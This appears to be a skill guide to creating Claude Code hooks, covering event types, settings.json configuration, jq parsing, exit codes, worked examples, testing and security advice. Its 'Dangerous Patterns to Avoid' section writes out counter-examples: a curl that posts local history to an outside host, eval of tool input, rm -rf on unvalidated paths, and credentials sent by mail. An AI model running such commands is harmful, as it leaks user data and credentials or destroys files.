| name | create-hooks |
| description | Guide for creating Claude Code hooks with proper configuration, shell commands, event handling, and security practices. Use when the user wants to create hooks, automate workflows, add event handlers, format code automatically, protect files, log actions, or mentions creating/configuring/building hooks. |
Create Hooks Guide
This skill helps you create Claude Code hooks - user-defined shell commands that execute at specific points in Claude Code's lifecycle. Hooks provide deterministic control over behavior rather than relying on LLM decisions.
Quick Start
When creating a new hook, follow this workflow:
- Identify the event - Which lifecycle event should trigger the hook?
- Define the action - What shell command should execute?
- Configure matcher - Which tools should trigger (specific tool or
*for all)? - Test the command - Verify the shell command works independently
- Add to settings.json - Register the hook in
~/.claude/settings.json - Test in Claude Code - Verify the hook executes and behaves correctly
- Review security - Ensure no credential leakage or malicious behavior
Hook Events
Claude Code supports nine hook events:
1. PreToolUse
When: Before tool calls execute Can block: Yes (exit code 2) Use for:
- File protection (block writes to sensitive files)
- Validation (check command safety before execution)
- Logging (track what tools will execute)
- Permission checks (verify user authorization)
2. PostToolUse
When: After tool calls complete Can block: No Use for:
- Code formatting (prettier, gofmt, black after edits)
- Linting (run linters after code changes)
- Testing (run tests after modifications)
- Notifications (alert on specific tool completions)
- Cleanup (remove temporary files)
3. UserPromptSubmit
When: User submits prompts, before processing Can block: Yes Use for:
- Input validation
- Prompt logging
- Custom preprocessing
- Security checks
4. Notification
When: Claude Code sends notifications Can block: No Use for:
- Custom notification systems (desktop, Slack, email)
- Notification filtering
- Alert aggregation
- Status dashboards
5. Stop
When: Claude Code finishes responding Can block: No Use for:
- Session logging
- Metrics collection
- Cleanup operations
- Status updates
6. SubagentStop
When: Subagent tasks complete Can block: No Use for:
- Subagent result logging
- Multi-agent workflow tracking
- Performance metrics
- Orchestration coordination
7. PreCompact
When: Before compact operations Can block: Yes Use for:
- Backup creation
- Validation before context reduction
- State preservation
- History archival
8. SessionStart
When: Session initiation or resumption Can block: No Use for:
- Environment setup
- Project initialization
- Logging session start
- Resource allocation
9. SessionEnd
When: Session termination Can block: No Use for:
- Cleanup operations
- Session summary logging
- Resource deallocation
- Statistics reporting
Configuration Format
Hooks are configured in ~/.claude/settings.json:
{
"hooks": {
"EventName": [
{
"matcher": "ToolName or *",
"hooks": [
{
"type": "command",
"command": "shell_command_here"
}
]
}
]
}
}
Structure Breakdown
EventName: One of the nine hook events (e.g., PreToolUse, PostToolUse)
matcher:
- Specific tool name (e.g.,
"Edit","Bash","Write") "*"for all tools- Case-sensitive, must match tool name exactly
type: Always "command" for shell hooks
command: Shell command to execute (bash on Unix, cmd on Windows)
Shell Command Structure
Commands receive JSON input via stdin containing event data:
Common Fields (all events)
{
"description": "Human-readable description",
"tool_name": "Name of tool being used",
"tool_input": { /* Tool-specific parameters */ }
}
Tool-Specific Input Examples
Edit tool:
{
"tool_name": "Edit",
"description": "Update user authentication",
"tool_input": {
"file_path": "/path/to/file.js",
"old_string": "...",
"new_string": "..."
}
}
Bash tool:
{
"tool_name": "Bash",
"description": "Run tests",
"tool_input": {
"command": "npm test"
}
}
Write tool:
{
"tool_name": "Write",
"description": "Create new component",
"tool_input": {
"file_path": "/path/to/file.ts",
"content": "..."
}
}
Processing JSON Input
Use jq for parsing JSON in shell commands:
# Extract file path
jq -r '.tool_input.file_path'
# Extract command
jq -r '.tool_input.command'
# Extract description with fallback
jq -r '.description // "No description"'
# Conditional processing
jq -r 'if .tool_input.file_path then .tool_input.file_path else empty end'
Exit Codes & Blocking
Exit code 0: Success
- PreToolUse: Allows tool execution to continue
- Other events: Indicates successful hook execution
Exit code 2: Block execution (PreToolUse only)
- Prevents the tool from executing
- Sends feedback to Claude about the block
- Use for file protection, validation failures
Other exit codes: Treated as errors but don't block execution
Complete Examples
1. Auto-Format JavaScript/TypeScript Files
Event: PostToolUse Purpose: Run Prettier after editing JS/TS files
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]] || [[ $FILE == *.js ]] || [[ $FILE == *.tsx ]] || [[ $FILE == *.jsx ]]; then npx prettier --write \"$FILE\" 2>/dev/null; fi"
}
]
},
{
"matcher": "Write",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]] || [[ $FILE == *.js ]] || [[ $FILE == *.tsx ]] || [[ $FILE == *.jsx ]]; then npx prettier --write \"$FILE\" 2>/dev/null; fi"
}
]
}
]
}
}
2. Log All Bash Commands
Event: PreToolUse Purpose: Track all bash commands for auditing
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "echo \"$(date -u +%Y-%m-%dT%H:%M:%SZ) - $(jq -r '.tool_input.command') - $(jq -r '.description // \"No description\"')\" >> ~/.claude/bash-command-log.txt"
}
]
}
]
}
}
3. Protect Sensitive Files from Modification
Event: PreToolUse Purpose: Block edits to production config files
{
"hooks": {
"PreToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]] || [[ $FILE == *\"secrets.json\"* ]]; then echo \"ERROR: Modification of production files blocked\" >&2; exit 2; fi"
}
]
},
{
"matcher": "Write",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]] || [[ $FILE == *\"secrets.json\"* ]]; then echo \"ERROR: Modification of production files blocked\" >&2; exit 2; fi"
}
]
}
]
}
}
4. Desktop Notifications (macOS)
Event: Notification Purpose: Show desktop alerts when Claude needs input
{
"hooks": {
"Notification": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "osascript -e 'display notification \"Claude Code needs your attention\" with title \"Claude Code\"'"
}
]
}
]
}
}
5. Run Tests After Code Changes
Event: PostToolUse Purpose: Automatically run tests after editing test files
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".test.\"* ]] || [[ $FILE == *\".spec.\"* ]]; then echo \"Running tests for $FILE...\"; npm test -- \"$FILE\" 2>/dev/null || true; fi"
}
]
}
]
}
}
6. Git Auto-Commit After Edits
Event: PostToolUse Purpose: Create automatic commits after file modifications
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); DESC=$(jq -r '.description // \"Auto-commit\"'); git add \"$FILE\" && git commit -m \"Auto: $DESC\" 2>/dev/null || true"
}
]
}
]
}
}
7. Backup Before Modifications
Event: PreToolUse Purpose: Create backups before editing important files
{
"hooks": {
"PreToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\"src/\"* ]]; then cp \"$FILE\" \"$FILE.backup.$(date +%s)\" 2>/dev/null || true; fi"
}
]
}
]
}
}
8. Multi-Language Code Formatting
Event: PostToolUse Purpose: Format multiple languages automatically
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); case $FILE in *.py) black \"$FILE\" 2>/dev/null;; *.go) gofmt -w \"$FILE\" 2>/dev/null;; *.rs) rustfmt \"$FILE\" 2>/dev/null;; *.java) google-java-format -i \"$FILE\" 2>/dev/null;; esac || true"
}
]
}
]
}
}
9. Session Logging
Event: SessionStart and SessionEnd Purpose: Track session duration and activity
{
"hooks": {
"SessionStart": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "echo \"Session started at $(date)\" >> ~/.claude/session-log.txt"
}
]
}
],
"SessionEnd": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "echo \"Session ended at $(date)\" >> ~/.claude/session-log.txt"
}
]
}
]
}
}
10. Python Script Hook (Advanced)
Event: PostToolUse Purpose: Complex processing with Python
settings.json:
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/format-hook.py"
}
]
}
]
}
}
~/.claude/hooks/format-hook.py:
#!/usr/bin/env python3
import json
import sys
import subprocess
from pathlib import Path
# Read hook data from stdin
hook_data = json.load(sys.stdin)
file_path = hook_data.get('tool_input', {}).get('file_path')
if not file_path:
sys.exit(0)
file_path = Path(file_path)
# Format based on extension
if file_path.suffix in ['.py']:
subprocess.run(['black', str(file_path)], stderr=subprocess.DEVNULL)
subprocess.run(['isort', str(file_path)], stderr=subprocess.DEVNULL)
elif file_path.suffix in ['.js', '.ts', '.jsx', '.tsx']:
subprocess.run(['prettier', '--write', str(file_path)], stderr=subprocess.DEVNULL)
elif file_path.suffix in ['.go']:
subprocess.run(['gofmt', '-w', str(file_path)], stderr=subprocess.DEVNULL)
sys.exit(0)
Security Considerations
CRITICAL WARNING: Hooks run automatically during the agent loop with your current environment's credentials. Malicious hooks could:
- Exfiltrate sensitive data
- Modify files without consent
- Execute arbitrary commands
- Leak credentials or API keys
Security Best Practices
- Review all hooks before adding to settings.json
- Avoid network calls in hooks unless absolutely necessary
- Validate input before processing file paths or commands
- Use exit code 2 to block unsafe operations
- Log hook execution for audit trails
- Restrict permissions on hook scripts (chmod 700)
- Never commit credentials in hook commands
- Test hooks independently before integration
- Use allowlists instead of blocklists for file protection
- Monitor hook behavior regularly
Dangerous Patterns to Avoid
# DON'T: Send data to external services without encryption
curl https://example.com/log -d "$(cat ~/.claude/history.jsonl)"
# DON'T: Execute arbitrary code from file contents
eval "$(jq -r '.tool_input.command')"
# DON'T: Modify files without validation
rm -rf "$(jq -r '.tool_input.file_path')"
# DON'T: Expose credentials in commands
echo "API_KEY=secret" | mail -s "Log" user@example.com
Safe Patterns
# DO: Validate before processing
FILE=$(jq -r '.tool_input.file_path'); [[ -f "$FILE" ]] && prettier "$FILE"
# DO: Use allowlists for protection
if [[ $FILE == "/app/src/"* ]]; then prettier "$FILE"; fi
# DO: Log locally with rotation
echo "$(date -u +%Y-%m-%dT%H:%M:%SZ) - $DESC" >> ~/.claude/hook.log
# DO: Use exit code 2 to block unsafe operations
if [[ $FILE == *".env"* ]]; then exit 2; fi
Testing Hooks
1. Test Shell Command Independently
Before adding to settings.json, test your command:
# Create test JSON input
echo '{"tool_input": {"file_path": "test.js"}, "description": "Test"}' | \
jq -r '.tool_input.file_path'
2. Test with Mock Data
# Create test file
cat > /tmp/test-hook-input.json <<EOF
{
"tool_name": "Edit",
"description": "Update authentication",
"tool_input": {
"file_path": "/path/to/test.js",
"old_string": "old",
"new_string": "new"
}
}
EOF
# Test your command
cat /tmp/test-hook-input.json | your_hook_command_here
3. Verify Exit Codes
# Test success (exit 0)
echo '{}' | your_command && echo "Success: $?"
# Test blocking (exit 2)
echo '{"tool_input":{"file_path":".env"}}' | your_command; echo "Exit code: $?"
4. Test in Claude Code
- Add hook to settings.json
- Restart Claude Code
- Trigger the event (e.g., edit a file)
- Check logs:
~/.claude/bash-command-log.txtor similar - Verify expected behavior
Debugging Hooks
Common Issues
Hook not executing:
- Check JSON syntax in settings.json
- Verify event name is correct (case-sensitive)
- Confirm matcher matches tool name exactly
- Ensure command is executable
- Check file permissions on script files
Hook blocking when it shouldn't:
- Verify exit code logic
- Check conditional statements
- Test with various file paths
- Review error output (stderr)
Hook failing silently:
- Add logging to your command
- Check stderr output
- Verify dependencies are installed (jq, prettier, etc.)
- Test command independently with mock data
Debugging Techniques
Add verbose logging:
"command": "echo \"[HOOK] Processing: $(jq -r '.description')\" >> /tmp/hook-debug.log; your_actual_command"
Capture errors:
"command": "your_command 2>> ~/.claude/hook-errors.log"
Echo hook data:
"command": "jq '.' >> /tmp/hook-data-dump.json; your_actual_command"
Advanced Patterns
Conditional Multi-Step Hooks
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]]; then prettier --write \"$FILE\" && eslint --fix \"$FILE\"; fi"
}
Hook Chaining (Multiple Hooks per Event)
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "echo \"First hook\" >> /tmp/hooks.log"
},
{
"type": "command",
"command": "echo \"Second hook\" >> /tmp/hooks.log"
}
]
}
Dynamic Hook Behavior
# Different behavior based on time of day
HOUR=$(date +%H); if [ $HOUR -ge 9 ] && [ $HOUR -le 17 ]; then run_business_hours_hook; else run_after_hours_hook; fi
Environment-Specific Hooks
# Only run in development
if [[ $NODE_ENV == "development" ]]; then npm test; fi
Configuration Management
Full settings.json Example
{
"enabledPlugins": {
"example-skills@anthropic-agent-skills": true
},
"alwaysThinkingEnabled": false,
"hooks": {
"PreToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]]; then exit 2; fi"
}
]
}
],
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]] || [[ $FILE == *.js ]]; then npx prettier --write \"$FILE\" 2>/dev/null; fi"
}
]
}
],
"SessionStart": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "echo \"Session started at $(date)\" >> ~/.claude/session-log.txt"
}
]
}
]
}
}
Organizing Hook Scripts
Recommended structure:
~/.claude/
├── settings.json
├── hooks/
│ ├── format-python.sh
│ ├── format-js.sh
│ ├── protect-files.sh
│ └── notify.sh
└── logs/
├── hook-execution.log
└── hook-errors.log
Reference scripts in settings.json:
{
"type": "command",
"command": "~/.claude/hooks/format-python.sh"
}
Best Practices Checklist
When creating a hook:
- Event type is appropriate for the action
- Matcher is specific enough (avoid
*when possible) - Shell command works independently
- JSON parsing uses
jqcorrectly - Exit codes are handled properly
- Security implications reviewed
- No credential leakage possible
- Error handling included (2>/dev/null or logging)
- File path validation included
- Tested with mock data
- Tested in Claude Code
- Logged for debugging/auditing
- Documented in comments or README
Workflow Summary
When user asks to create a hook:
- Clarify purpose - What should happen and when?
- Select event - Which hook event matches the timing?
- Choose matcher - Specific tool or all tools (*)?
- Write command - Shell command with JSON parsing
- Test independently - Verify command works with mock data
- Handle edge cases - File validation, error handling
- Review security - Check for credential leaks, unsafe operations
- Add to settings.json - Register in hooks configuration
- Test in Claude Code - Trigger event and verify behavior
- Document behavior - Comment or log what the hook does
Key Principles
- Security first - Always review for credential leakage and malicious behavior
- Test independently - Verify commands work before adding to settings.json
- Use exit codes correctly - 0 for success, 2 for blocking (PreToolUse only)
- Parse JSON safely - Use
jqfor reliable data extraction - Handle errors gracefully - Redirect stderr or log errors
- Validate inputs - Check file paths and commands before processing
- Log for debugging - Track hook execution for troubleshooting
- Keep it simple - Complex logic belongs in external scripts
- Use specific matchers - Avoid
*when you can target specific tools - Document everything - Comment your hooks for future maintenance
Remember: Hooks run automatically with your environment's credentials. Always review security implications before adding hooks to settings.json.